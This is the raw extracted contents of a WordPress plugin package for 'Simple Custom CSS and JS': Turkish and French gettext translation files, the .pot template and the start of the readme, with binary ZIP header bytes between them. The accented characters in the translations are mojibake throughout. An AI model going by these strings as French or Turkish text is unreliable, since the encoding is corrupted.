msgid "Simple Custom CSS and JS"
msgstr ""

#. Plugin URI of the plugin/theme
msgid "https://wordpress.org/plugins/custom-css-js/"
msgstr "https://wordpress.org/plugins/custom-css-js/"

#. Description of the plugin/theme
msgid "Easily add Custom CSS or JS to your website with an awesome editor."
msgstr ""
"Websitenize harika bir dÃ¼zenleyici ile Ã¶zel CSS veya JS i kolayca ekleyin."

#. Author of the plugin/theme
msgid "Diana Burduja"
msgstr "Diana Burduja"

#. Author URI of the plugin/theme
msgid "https://www.silkypress.com/"
msgstr "https://www.silkypress.com/"

#~ msgid "Toggle active"
#~ msgstr "Aktiflik durumunu deÄŸiÅŸtir"
PK     ]t]ÊÑB-  -    languages/custom-css-js.potnu ÕIw¶´        # Copyright (C) 2018 Simple Custom CSS and JS
# This file is distributed under the same license as the Simple Custom CSS and JS package.
msgid ""
msgstr ""
"Project-Id-Version: Simple Custom CSS and JS 3.14\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-"
"svn\n"
"POT-Creation-Date: 2018-02-08 19:58:14+00:00\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2018-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"

#: custom-css-js.php:53 custom-css-js.php:60
msgid "Cheatin&#8217; huh?"
msgstr ""

#: custom-css-js.php:220
msgctxt "post type general name"
msgid "Custom Code"
msgstr ""

#: custom-css-js.php:221
msgctxt "post type singular name"
msgid "Custom Code"
msgstr ""

#: custom-css-js.php:222
msgctxt "admin menu"
msgid "Custom CSS & JS"
msgstr ""

#: custom-css-js.php:223
msgctxt "add new on admin bar"
msgid "Custom Code"
msgstr ""

#: custom-css-js.php:224
msgctxt "add new"
msgid "Add Custom Code"
msgstr ""

#: custom-css-js.php:225
msgid "Add Custom Code"
msgstr ""

#: custom-css-js.php:226
msgid "New Custom Code"
msgstr ""

#: custom-css-js.php:227
msgid "Edit Custom Code"
msgstr ""

#: custom-css-js.php:228
msgid "View Custom Code"
msgstr ""

#: custom-css-js.php:229
msgid "All Custom Code"
msgstr ""

#: custom-css-js.php:230
msgid "Search Custom Code"
msgstr ""

#: custom-css-js.php:231
msgid "Parent Custom Code:"
msgstr ""

#: custom-css-js.php:232
msgid "No Custom Code found."
msgstr ""

#: custom-css-js.php:233
msgid "No Custom Code found in Trash."
msgstr ""

#: custom-css-js.php:254
msgid "Custom CSS and JS code"
msgstr ""

#: custom-css-js.php:299
msgid "Web Designer"
msgstr ""

#: custom-css-js.php:394 includes/admin-config.php:58
msgid "Settings"
msgstr ""

#: includes/admin-addons.php:42 includes/admin-screens.php:776
msgid "Available only in <br />Simple Custom CSS and JS Pro"
msgstr ""

#: includes/admin-addons.php:54
msgid "Preview"
msgstr ""

#: includes/admin-addons.php:55
msgid "Apply only on these URLs"
msgstr ""

#: includes/admin-addons.php:56
msgid "Code Revisions"
msgstr ""

#: includes/admin-addons.php:67
msgid "Full URL on which to preview the changes ..."
msgstr ""

#: includes/admin-addons.php:68
msgid "Preview Changes"
msgstr ""

#: includes/admin-addons.php:82
msgid "All Website"
msgstr ""

#: includes/admin-addons.php:83
msgid "Homepage"
msgstr ""

#: includes/admin-addons.php:84
msgid "Contains"
msgstr ""

#: includes/admin-addons.php:85
msgid "Not contains"
msgstr ""

#: includes/admin-addons.php:86
msgid "Is equal to"
msgstr ""

#: includes/admin-addons.php:87
msgid "Not equal to"
msgstr ""

#: includes/admin-addons.php:88
msgid "Starts with"
msgstr ""

#: includes/admin-addons.php:89
msgid "Ends by"
msgstr ""

#: includes/admin-addons.php:100 includes/admin-addons.php:101
msgid "URL"
msgstr ""

#: includes/admin-addons.php:102
msgid "Text filter"
msgstr ""

#: includes/admin-addons.php:103
msgid "Add"
msgstr ""

#: includes/admin-addons.php:114
msgctxt "revision date format"
msgid "F j, Y @ H:i:s"
msgstr ""

#: includes/admin-addons.php:136 includes/admin-addons.php:169
msgid "Compare"
msgstr ""

#: includes/admin-addons.php:137
msgid "Revision"
msgstr ""

#: includes/admin-addons.php:138 includes/admin-screens.php:283
msgid "Author"
msgstr ""

#: includes/admin-addons.php:139 includes/admin-addons.php:173
msgid "Delete"
msgstr ""

#: includes/admin-addons.php:140 includes/admin-addons.php:163
msgid "Restore"
msgstr ""

#: includes/admin-config.php:115
msgid "Save"
msgstr ""

#: includes/admin-config.php:139
msgid "Custom CSS & JS Settings"
msgstr ""

#: includes/admin-config.php:142
msgid "Editor Settings"
msgstr ""

#: includes/admin-config.php:195
msgid "Keep the HTML entities, don't convert to its character"
msgstr ""

#: includes/admin-config.php:200
msgid "Encode the HTML entities"
msgstr ""

#: includes/admin-notices.php:125
msgid "Get your discount now"
msgstr ""

#: includes/admin-notices.php:125 includes/admin-notices.php:190
msgid "Dismiss this notice"
msgstr ""

#: includes/admin-screens.php:93
msgid "Add Custom CSS"
msgstr ""

#: includes/admin-screens.php:96
msgid "Add Custom JS"
msgstr ""

#: includes/admin-screens.php:99
msgid "Add Custom HTML"
msgstr ""

#: includes/admin-screens.php:173 includes/admin-screens.php:280
#: includes/admin-screens.php:1286
msgid "Active"
msgstr ""

#: includes/admin-screens.php:174 includes/admin-screens.php:1289
msgid "Inactive"
msgstr ""

#: includes/admin-screens.php:175 includes/admin-screens.php:1262
#: includes/admin-screens.php:1290
msgid "Activate"
msgstr ""

#: includes/admin-screens.php:176 includes/admin-screens.php:1259
#: includes/admin-screens.php:1287
msgid "Deactivate"
msgstr ""

#: includes/admin-screens.php:177 includes/admin-screens.php:325
#: includes/admin-screens.php:1258
msgid "The code is active. Click to deactivate it"
msgstr ""

#: includes/admin-screens.php:178 includes/admin-screens.php:328
#: includes/admin-screens.php:1261
msgid "The code is inactive. Click to activate it"
msgstr ""

#: includes/admin-screens.php:204
msgid "Options"
msgstr ""

#: includes/admin-screens.php:264
msgid "Add CSS code"
msgstr ""

#: includes/admin-screens.php:265
msgid "Add JS code"
msgstr ""

#: includes/admin-screens.php:266
msgid "Add HTML code"
msgstr ""

#: includes/admin-screens.php:281
msgid "Type"
msgstr ""

#: includes/admin-screens.php:282
msgid "Title"
msgstr ""

#: includes/admin-screens.php:284
msgid "Date"
msgstr ""

#: includes/admin-screens.php:285
msgid "Modified"
msgstr ""

#: includes/admin-screens.php:314
msgid "%s ago"
msgstr ""

#: includes/admin-screens.php:316
msgid "Y/m/d"
msgstr ""

#: includes/admin-screens.php:386
msgid "CSS Codes"
msgstr ""

#: includes/admin-screens.php:387
msgid "JS Codes"
msgstr ""

#: includes/admin-screens.php:388
msgid "HTML Codes"
msgstr ""

#: includes/admin-screens.php:391
msgid "Filter Code Type"
msgstr ""

#: includes/admin-screens.php:393
msgid "All Custom Codes"
msgstr ""

#: includes/admin-screens.php:448
msgid "Custom Code"
msgstr ""

#: includes/admin-screens.php:449 includes/admin-screens.php:468
#: includes/admin-screens.php:489
msgid "Add CSS Code"
msgstr ""

#: includes/admin-screens.php:450 includes/admin-screens.php:469
#: includes/admin-screens.php:490
msgid "Add JS Code"
msgstr ""

#: includes/admin-screens.php:451 includes/admin-screens.php:470
#: includes/admin-screens.php:491
msgid "Add HTML Code"
msgstr ""

#: includes/admin-screens.php:471
msgid "Edit CSS Code"
msgstr ""

#: includes/admin-screens.php:472
msgid "Edit JS Code"
msgstr ""

#: includes/admin-screens.php:473
msgid "Edit HTML Code"
msgstr ""

#: includes/admin-screens.php:499
msgid "Code updated"
msgstr ""

#: includes/admin-screens.php:612
msgid ""
"/* Add your JavaScript code here.\n"
"\n"
"If you are using the jQuery library, then don't forget to wrap your code "
"inside jQuery.ready() as follows:\n"
"\n"
"jQuery(document).ready(function( $ ){\n"
"    // Your code in here\n"
"});\n"
"\n"
"--\n"
"\n"
"If you want to link a JavaScript file that resides on another server "
"(similar to\n"
"<script src=\"https://example.com/your-js-file.js\"></script>), then please "
"use\n"
"the \"Add HTML Code\" page, as this is a HTML code that links a JavaScript "
"file.\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:634
msgid ""
"<!-- Add HTML code to the header or the footer.\n"
"\n"
"For example, you can use the following code for loading the jQuery library "
"from Google CDN:\n"
"<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min."
"js\"></script>\n"
"\n"
"or the following one for loading the Bootstrap library from MaxCDN:\n"
"<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/"
"bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-"
"ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" "
"crossorigin=\"anonymous\">\n"
"\n"
"-- End of the comment --> "
msgstr ""

#: includes/admin-screens.php:660
msgid ""
"/* Add your CSS code here.\n"
"\n"
"For example:\n"
".example {\n"
"    color: red;\n"
"}\n"
"\n"
"For brushing up on your CSS knowledge, check out http://www.w3schools.com/"
"css/css_syntax.asp\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:692
msgid "Last edited by %1$s on %2$s at %3$s"
msgstr ""

#: includes/admin-screens.php:694
msgid "Last edited on %1$s at %2$s"
msgstr ""

#: includes/admin-screens.php:791
msgid "Linking type"
msgstr ""

#: includes/admin-screens.php:796
msgid "External File"
msgstr ""

#: includes/admin-screens.php:800
msgid "Internal"
msgstr ""

#: includes/admin-screens.php:806 includes/admin-screens.php:894
msgid "Where on page"
msgstr ""

#: includes/admin-screens.php:811 includes/admin-screens.php:899
msgid "Header"
msgstr ""

#: includes/admin-screens.php:815 includes/admin-screens.php:903
msgid "Footer"
msgstr ""

#: includes/admin-screens.php:821 includes/admin-screens.php:909
msgid "Where in site"
msgstr ""

#: includes/admin-screens.php:826 includes/admin-screens.php:914
msgid "In Frontend"
msgstr ""

#: includes/admin-screens.php:830 includes/admin-screens.php:918
msgid "In Admin"
msgstr ""

#: includes/admin-screens.php:834
msgid "On Login Page"
msgstr ""

#: includes/admin-screens.php:840
msgid "CSS Preprocessor"
msgstr ""

#: includes/admin-screens.php:845
msgid "None"
msgstr ""

#: includes/admin-screens.php:848
msgid "Less"
msgstr ""

#: includes/admin-screens.php:851
msgid "SASS (only SCSS syntax)"
msgstr ""

#: includes/admin-screens.php:857
msgid "Minify the code"
msgstr ""

#: includes/admin-screens.php:864 includes/admin-screens.php:945
msgid "Priority"
msgstr ""

#: includes/admin-screens.php:869 includes/admin-screens.php:950
msgctxt "1 is the highest priority"
msgid "1 (highest)"
msgstr ""

#: includes/admin-screens.php:878 includes/admin-screens.php:959
msgctxt "10 is the lowest priority"
msgid "10 (lowest)"
msgstr ""

#: includes/admin-screens.php:924
msgid "On which device"
msgstr ""

#: includes/admin-screens.php:930
msgid "Desktop"
msgstr ""

#: includes/admin-screens.php:934
msgid "Mobile"
msgstr ""

#: includes/admin-screens.php:938
msgid "Both"
msgstr ""

#: includes/admin-screens.php:1096
msgid "The %s directory could not be created"
msgstr ""

#: includes/admin-screens.php:1097
msgid "Please run the following commands in order to make the directory"
msgstr ""

#: includes/admin-screens.php:1105
msgid ""
"The %s directory is not writable, therefore the CSS and JS files cannot be "
"saved."
msgstr ""

#: includes/admin-screens.php:1106
msgid "Please run the following command to make the directory writable"
msgstr ""

#: includes/admin-warnings.php:55
msgid ""
"Please remove the <b>custom-css-js</b> post type from the <b>qTranslate "
"settings</b> in order to avoid some malfunctions in the Simple Custom CSS & "
"JS plugin. Check out <a href=\"%s\" target=\"_blank\">this screenshot</a> "
"for more details on how to do that."
msgstr ""

#. Plugin Name of the plugin/theme
msgid "Simple Custom CSS and JS"
msgstr ""

#. Plugin URI of the plugin/theme
msgid "https://wordpress.org/plugins/custom-css-js/"
msgstr ""

#. Description of the plugin/theme
msgid "Easily add Custom CSS or JS to your website with an awesome editor."
msgstr ""

#. Author of the plugin/theme
msgid "Diana Burduja"
msgstr ""

#. Author URI of the plugin/theme
msgid "https://www.silkypress.com/"
msgstr ""
PK     ]t]|õx>  >     languages/custom-css-js-fr_FR.ponu ÕIw¶´        # Translation of Plugins - Simple Custom CSS and JS - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Simple Custom CSS and JS - Stable (latest release) package.
msgid ""
msgstr ""
"Project-Id-Version: Plugins - Simple Custom CSS and JS - Stable (latest "
"release)\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-"
"svn\n"
"POT-Creation-Date: 2018-02-08 19:58:14+00:00\n"
"PO-Revision-Date: 2019-04-21 22:41+0200\n"
"Last-Translator: Diana Burduja <diana@wootips.com>\n"
"Language-Team: \n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Poedit 2.2.1\n"

#: custom-css-js.php:53 custom-css-js.php:60
msgid "Cheatin&#8217; huh?"
msgstr "Cheatin&#8217; huh?"

#: custom-css-js.php:220
msgctxt "post type general name"
msgid "Custom Code"
msgstr "Code personnalisÃ©"

#: custom-css-js.php:221
msgctxt "post type singular name"
msgid "Custom Code"
msgstr "Code personnalisÃ©"

#: custom-css-js.php:222
msgctxt "admin menu"
msgid "Custom CSS & JS"
msgstr "CSS et JS personnalisÃ©s"

#: custom-css-js.php:223
msgctxt "add new on admin bar"
msgid "Custom Code"
msgstr "Code personnalisÃ©"

#: custom-css-js.php:224
msgctxt "add new"
msgid "Add Custom Code"
msgstr "Ajouter du code personnalisÃ©"

#: custom-css-js.php:225
msgid "Add Custom Code"
msgstr "Ajouter du code personnalisÃ© "

#: custom-css-js.php:226
msgid "New Custom Code"
msgstr "Nouveau code personnalisÃ©"

#: custom-css-js.php:227
msgid "Edit Custom Code"
msgstr "Modifier le code personnalisÃ©"

#: custom-css-js.php:228
msgid "View Custom Code"
msgstr "Voir le code personnalisÃ©"

#: custom-css-js.php:229
msgid "All Custom Code"
msgstr "Tous les codes personnalisÃ©s"

#: custom-css-js.php:230
msgid "Search Custom Code"
msgstr "Rechercher du code personnalisÃ©"

#: custom-css-js.php:231
msgid "Parent Custom Code:"
msgstr "Code personnalisÃ© parent :"

#: custom-css-js.php:232
msgid "No Custom Code found."
msgstr "Aucun code personnalisÃ© trouvÃ©."

#: custom-css-js.php:233
msgid "No Custom Code found in Trash."
msgstr "Aucun code personnalisÃ© trouvÃ© dans la corbeille."

#: custom-css-js.php:254
msgid "Custom CSS and JS code"
msgstr "Code CSS et JS personnalisÃ© "

#: custom-css-js.php:299
msgid "Web Designer"
msgstr "Designer Web"

#: custom-css-js.php:394 includes/admin-config.php:58
msgid "Settings"
msgstr "Configuration"

#: includes/admin-addons.php:42 includes/admin-screens.php:776
msgid "Available only in <br />Simple Custom CSS and JS Pro"
msgstr "Uniquement disponible dans <br />Simple Custom CSS and JS Pro"

#: includes/admin-addons.php:54
msgid "Preview"
msgstr "PrÃ©visualiser"

#: includes/admin-addons.php:55
msgid "Apply only on these URLs"
msgstr "Appliquer seulement Ã  ces URLs"

#: includes/admin-addons.php:56
msgid "Code Revisions"
msgstr "RÃ©visions du code"

#: includes/admin-addons.php:67
msgid "Full URL on which to preview the changes ..."
msgstr "URL oÃ¹ prÃ©visualiser les modifications ..."

#: includes/admin-addons.php:68
msgid "Preview Changes"
msgstr "PrÃ©visualiser"

#: includes/admin-addons.php:82
msgid "All Website"
msgstr "Tout le site"

#: includes/admin-addons.php:83
msgid "Homepage"
msgstr "PremiÃ¨re page"

#: includes/admin-addons.php:84
msgid "Contains"
msgstr "Contient"

#: includes/admin-addons.php:85
msgid "Not contains"
msgstr "Ne contient pas"

#: includes/admin-addons.php:86
msgid "Is equal to"
msgstr "Egal Ã "

#: includes/admin-addons.php:87
msgid "Not equal to"
msgstr "DiffÃ©rent de"

#: includes/admin-addons.php:88
msgid "Starts with"
msgstr "Commence par"

#: includes/admin-addons.php:89
msgid "Ends by"
msgstr "Se termine par"

#: includes/admin-addons.php:100 includes/admin-addons.php:101
msgid "URL"
msgstr "URL"

#: includes/admin-addons.php:102
msgid "Text filter"
msgstr "Filtre de texte"

#: includes/admin-addons.php:103
msgid "Add"
msgstr "Ajouter"

#: includes/admin-addons.php:114
msgctxt "revision date format"
msgid "F j, Y @ H:i:s"
msgstr "F j, Y @ H:i:s"

#: includes/admin-addons.php:136 includes/admin-addons.php:169
msgid "Compare"
msgstr "Comparer"

#: includes/admin-addons.php:137
msgid "Revision"
msgstr "RÃ©vision"

#: includes/admin-addons.php:138 includes/admin-screens.php:283
msgid "Author"
msgstr "Auteur"

#: includes/admin-addons.php:139 includes/admin-addons.php:173
msgid "Delete"
msgstr "Effacer"

#: includes/admin-addons.php:140 includes/admin-addons.php:163
msgid "Restore"
msgstr "Restaurer"

#: includes/admin-config.php:115
msgid "Save"
msgstr "Sauvegarder"

#: includes/admin-config.php:139
msgid "Custom CSS & JS Settings"
msgstr "Configuration de Custom CSS & JS"

#: includes/admin-config.php:142
msgid "Editor Settings"
msgstr "Configuration de l'Ã©diteur"

#: includes/admin-config.php:195
msgid "Keep the HTML entities, don't convert to its character"
msgstr "Conserver le code HTML, ne pas le convertir en caractÃ¨res"

#: includes/admin-config.php:200
msgid "Encode the HTML entities"
msgstr ""

#: includes/admin-notices.php:125
msgid "Get your discount now"
msgstr "Obtenez votre remise maintenant"

#: includes/admin-notices.php:125 includes/admin-notices.php:190
msgid "Dismiss this notice"
msgstr "Effacer cette notification"

#: includes/admin-screens.php:93
msgid "Add Custom CSS"
msgstr "Ajouter du CSS personnalisÃ©"

#: includes/admin-screens.php:96
msgid "Add Custom JS"
msgstr "Ajouter du JS personnalisÃ©"

#: includes/admin-screens.php:99
msgid "Add Custom HTML"
msgstr "Ajouter du HTML personnalisÃ©"

#: includes/admin-screens.php:173 includes/admin-screens.php:280
#: includes/admin-screens.php:1286
msgid "Active"
msgstr "Actif"

#: includes/admin-screens.php:174 includes/admin-screens.php:1289
msgid "Inactive"
msgstr "Inactif"

#: includes/admin-screens.php:175 includes/admin-screens.php:1262
#: includes/admin-screens.php:1290
msgid "Activate"
msgstr "Activer"

#: includes/admin-screens.php:176 includes/admin-screens.php:1259
#: includes/admin-screens.php:1287
msgid "Deactivate"
msgstr "DÃ©sactiver"

#: includes/admin-screens.php:177 includes/admin-screens.php:325
#: includes/admin-screens.php:1258
msgid "The code is active. Click to deactivate it"
msgstr "Le code est actif. Cliquez pour le dÃ©sactiver "

#: includes/admin-screens.php:178 includes/admin-screens.php:328
#: includes/admin-screens.php:1261
msgid "The code is inactive. Click to activate it"
msgstr "Le code est inactif. Cliquez pour l'activer"

#: includes/admin-screens.php:204
msgid "Options"
msgstr "Options"

#: includes/admin-screens.php:264
msgid "Add CSS code"
msgstr "Ajouter du code CSS"

#: includes/admin-screens.php:265
msgid "Add JS code"
msgstr "Ajouter du code JS"

#: includes/admin-screens.php:266
msgid "Add HTML code"
msgstr "Ajouter du code HTML"

#: includes/admin-screens.php:281
msgid "Type"
msgstr "Type"

#: includes/admin-screens.php:282
msgid "Title"
msgstr "Titre"

#: includes/admin-screens.php:284
msgid "Date"
msgstr "Date"

#: includes/admin-screens.php:285
msgid "Modified"
msgstr "ModifiÃ©"

#: includes/admin-screens.php:314
msgid "%s ago"
msgstr "Il y a %s"

#: includes/admin-screens.php:316
msgid "Y/m/d"
msgstr "Y/m/d"

#: includes/admin-screens.php:386
msgid "CSS Codes"
msgstr "Codes CSS"

#: includes/admin-screens.php:387
msgid "JS Codes"
msgstr "Codes JS"

#: includes/admin-screens.php:388
msgid "HTML Codes"
msgstr "Codes HTML"

#: includes/admin-screens.php:391
msgid "Filter Code Type"
msgstr "Filtrer le type de code"

#: includes/admin-screens.php:393
msgid "All Custom Codes"
msgstr "Tous les codes personnalisÃ©s"

#: includes/admin-screens.php:448
msgid "Custom Code"
msgstr "Code personnalisÃ©"

#: includes/admin-screens.php:449 includes/admin-screens.php:468
#: includes/admin-screens.php:489
msgid "Add CSS Code"
msgstr "Ajouter du code CSS"

#: includes/admin-screens.php:450 includes/admin-screens.php:469
#: includes/admin-screens.php:490
msgid "Add JS Code"
msgstr "Ajouter du code JS"

#: includes/admin-screens.php:451 includes/admin-screens.php:470
#: includes/admin-screens.php:491
msgid "Add HTML Code"
msgstr "Ajouter du code HTML"

#: includes/admin-screens.php:471
msgid "Edit CSS Code"
msgstr "Modifier le code CSS"

#: includes/admin-screens.php:472
msgid "Edit JS Code"
msgstr "Modifier le code JS"

#: includes/admin-screens.php:473
msgid "Edit HTML Code"
msgstr "Modifier le code HTML"

#: includes/admin-screens.php:499
msgid "Code updated"
msgstr "Code mis Ã  jour"

#: includes/admin-screens.php:612
msgid ""
"/* Add your JavaScript code here.\n"
"\n"
"If you are using the jQuery library, then don't forget to wrap your code "
"inside jQuery.ready() as follows:\n"
"\n"
"jQuery(document).ready(function( $ ){\n"
"    // Your code in here\n"
"});\n"
"\n"
"--\n"
"\n"
"If you want to link a JavaScript file that resides on another server "
"(similar to\n"
"<script src=\"https://example.com/your-js-file.js\"></script>), then please "
"use\n"
"the \"Add HTML Code\" page, as this is a HTML code that links a JavaScript "
"file.\n"
"\n"
"End of comment */ "
msgstr ""
"/* Ajoutez votre code JavaScript ici.\n"
"                     \n"
"Si vous utilisez la bibliotheque jQuery library, noubliez pas de wrapper "
"votre code dans le jQuery.ready() comme ceci :\n"
"\n"
"jQuery(document).ready(function( $ ){\n"
"    // Votre code ici \n"
"});\n"
"\n"
"--\n"
"\n"
"Si vous voulez lier un fichier JavaScript qui se trouve sur un autre serveur "
"(similaire a \n"
"<script src=\"https://example.com/your-js-file.js\"></script>), utilisez \n"
"la page \"Ajouter du code HTML\", car c'est du code HTML qui appelle un "
"fichier JavaScript.\n"
"\n"
"Fin du commentaire */ "

#: includes/admin-screens.php:634
msgid ""
"<!-- Add HTML code to the header or the footer.\n"
"\n"
"For example, you can use the following code for loading the jQuery library "
"from Google CDN:\n"
"<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min."
"js\"></script>\n"
"\n"
"or the following one for loading the Bootstrap library from MaxCDN:\n"
"<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/"
"bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-"
"ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" "
"crossorigin=\"anonymous\">\n"
"\n"
"-- End of the comment --> "
msgstr ""
"<!-- Ajoutez du code HTML dans l'en-tete ou le pied. \n"
"\n"
"Par exemple, utilisez le code suivant pour charger la bibliotheque jQuery "
"depuis le CDN de Google :\n"
"<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min."
"js\"></script>\n"
"\n"
"ou celui-ci pour charger la bibliotheque Bootstrap depuis MaxCDN:\n"
"<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/"
"bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-"
"ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" "
"\"anonymous\">\n"
"\n"
"-- Fin du commentaire --> "

#: includes/admin-screens.php:660
msgid ""
"/* Add your CSS code here.\n"
"\n"
"For example:\n"
".example {\n"
"    color: red;\n"
"}\n"
"\n"
"For brushing up on your CSS knowledge, check out http://www.w3schools.com/"
"css/css_syntax.asp\n"
"\n"
"End of comment */ "
msgstr ""
"/* Ajouter votre code CSS ici.\n"
"                     \n"
"Par exemple:\n"
".exemple {\n"
"    color: red;\n"
"}\n"
"\n"
"Pour amÃ©liorer vos connaissances en CSS, visitez http://www.w3schools.com/"
"css/css_syntax.asp\n"
"\n"
"Fin du commentaire */ "

#: includes/admin-screens.php:692
msgid "Last edited by %1$s on %2$s at %3$s"
msgstr "DerniÃ¨re modification par %1$s le %2$s Ã  %3$s"

#: includes/admin-screens.php:694
msgid "Last edited on %1$s at %2$s"
msgstr "DerniÃ¨re modification le %1$s Ã  %2$s"

#: includes/admin-screens.php:791
msgid "Linking type"
msgstr "Type de liaison"

#: includes/admin-screens.php:796
msgid "External File"
msgstr "Fichier externe"

#: includes/admin-screens.php:800
msgid "Internal"
msgstr "Interne"

#: includes/admin-screens.php:806 includes/admin-screens.php:894
msgid "Where on page"
msgstr "OÃ¹ dans la page"

#: includes/admin-screens.php:811 includes/admin-screens.php:899
msgid "Header"
msgstr "En-tÃªte de page"

#: includes/admin-screens.php:815 includes/admin-screens.php:903
msgid "Footer"
msgstr "Pied de page"

#: includes/admin-screens.php:821 includes/admin-screens.php:909
msgid "Where in site"
msgstr "OÃ¹ dans le site"

#: includes/admin-screens.php:826 includes/admin-screens.php:914
msgid "In Frontend"
msgstr "Sur le site"

#: includes/admin-screens.php:830 includes/admin-screens.php:918
msgid "In Admin"
msgstr "Dans l'administration"

#: includes/admin-screens.php:834
msgid "On Login Page"
msgstr "Sur la page de Login"

#: includes/admin-screens.php:840
msgid "CSS Preprocessor"
msgstr "PrÃ©processeur CSS"

#: includes/admin-screens.php:845
msgid "None"
msgstr "aucun"

#: includes/admin-screens.php:848
msgid "Less"
msgstr "Less"

#: includes/admin-screens.php:851
msgid "SASS (only SCSS syntax)"
msgstr "SASS (syntaxe SCSS seulement)"

#: includes/admin-screens.php:857
msgid "Minify the code"
msgstr "Minifier le code"

#: includes/admin-screens.php:864 includes/admin-screens.php:945
msgid "Priority"
msgstr "PrioritÃ©"

#: includes/admin-screens.php:869 includes/admin-screens.php:950
msgctxt "1 is the highest priority"
msgid "1 (highest)"
msgstr "1 (la plus haute)"

#: includes/admin-screens.php:878 includes/admin-screens.php:959
msgctxt "10 is the lowest priority"
msgid "10 (lowest)"
msgstr "10 (la plus basse)"

#: includes/admin-screens.php:924
msgid "On which device"
msgstr "Sur quel appareil"

#: includes/admin-screens.php:930
msgid "Desktop"
msgstr "Ordinateur"

#: includes/admin-screens.php:934
msgid "Mobile"
msgstr "Mobile"

#: includes/admin-screens.php:938
msgid "Both"
msgstr "Les deux"

#: includes/admin-screens.php:1096
msgid "The %s directory could not be created"
msgstr "Le rÃ©pertoire %s ne peut pas Ãªtre crÃ©Ã©"

#: includes/admin-screens.php:1097
msgid "Please run the following commands in order to make the directory"
msgstr "Veuillez exÃ©cuter les commandes suivantes pour crÃ©er le rÃ©pertoire "

#: includes/admin-screens.php:1105
msgid ""
"The %s directory is not writable, therefore the CSS and JS files cannot be "
"saved."
msgstr ""
"Le rÃ©pertoire %s n'est pas modifiable, les fichiers CSS et JS ne peuvent "
"Ãªtre sauvegardÃ©s."

#: includes/admin-screens.php:1106
msgid "Please run the following command to make the directory writable"
msgstr ""
"Veuillez exÃ©cuter la commande suivante pour rendre le rÃ©pertoire modifiable."

#: includes/admin-warnings.php:55
msgid ""
"Please remove the <b>custom-css-js</b> post type from the <b>qTranslate "
"settings</b> in order to avoid some malfunctions in the Simple Custom CSS & "
"JS plugin. Check out <a href=\"%s\" target=\"_blank\">this screenshot</a> "
"for more details on how to do that."
msgstr ""
"Veuillez retirer le post type <b>custom-css-js</b> de la configuration de "
"<b>qTranslate</b> pour Ã©viter certains effets nÃ©fastes avec Simple Custom "
"CSS & JS plugin. Reportez vous Ã  <a href=\"%s\" target=\"_blank\">cette "
"image</a> pour plus de dÃ©tail sur la faÃ§on de faire."

#. Plugin Name of the plugin/theme
msgid "Simple Custom CSS and JS"
msgstr "Simple Custom CSS and JS"

#. Plugin URI of the plugin/theme
msgid "https://wordpress.org/plugins/custom-css-js/"
msgstr "https://wordpress.org/plugins/custom-css-js/"

#. Description of the plugin/theme
msgid "Easily add Custom CSS or JS to your website with an awesome editor."
msgstr ""
"Ajoutez facilement du code CSS et JS Ã  votre site avec ce puissant Ã©diteur."

#. Author of the plugin/theme
msgid "Diana Burduja"
msgstr "Diana Burduja"

#. Author URI of the plugin/theme
msgid "https://www.silkypress.com/"
msgstr "https://www.silkypress.com/"
PK     ]t]©ŸO    
  readme.txtnu ÕIw¶´        === Simple Custom CSS and JS ===
Created: 06/12/2015
Contributors: diana_burduja
Email: diana@burduja.eu
Tags: custom CSS, custom JS, site css, add style, customize theme 
Requires at least: 3.0.1
Tested up to: 6.7 
Stable tag: 3.49
License: GPLv3
License URI: http://www.gnu.org/licenses/gpl-3.0.html
Requires PHP: 5.2.4

Easily add Custom CSS or JS to your website with an awesome editor.

== Description ==

Customize your WordPress site's appearance by easily adding custom CSS and JS code without even having to modify your theme or plugin files. This is perfect for adding custom CSS tweaks to your site. 

= Features =
* **Text editor** with syntax highlighting 
* Print the code **inline** or included into an **external file**
* Print the code in the **header** or the **footer**
* Add CSS or JS to the **frontend** or the **admin side**
* Add as many codes as you want
* Keep your changes also when you change the theme

== Installation ==

* From the WP admin panel, click "Plugins" -> "Add new".
* In the browser input box, type "Simple Custom CSS and JS".
* Select the "Simple Custom CSS and JS" plugin and click "Install".
* Activate the plugin.

OR...

* Download the plugin from this page.
* Save the .zip file to a location on your computer.
* Open the WP admin panel, and click "Plugins" -> "Add new".
* Click "upload".. then browse to the .zip file downloaded from this page.
* Click "Install".. and then "Activate plugin".

OR...

* Download the plugin from this page.
* Extract the .zip file to a location on your computer.
* Use either FTP or your hosts cPanel to gain access to your website file directories.
* Browse to the `wp-content/plugins` directory.
* Upload the extracted `custom-css-js` folder to this directory location.
* Open the WP admin panel.. click the "Plugins" page.. and click "Activate" under the newly added "Simple Custom CSS and JS" plugin.

== Frequently Asked Questions ==

= What if I want to add multiple external CSS codes? =
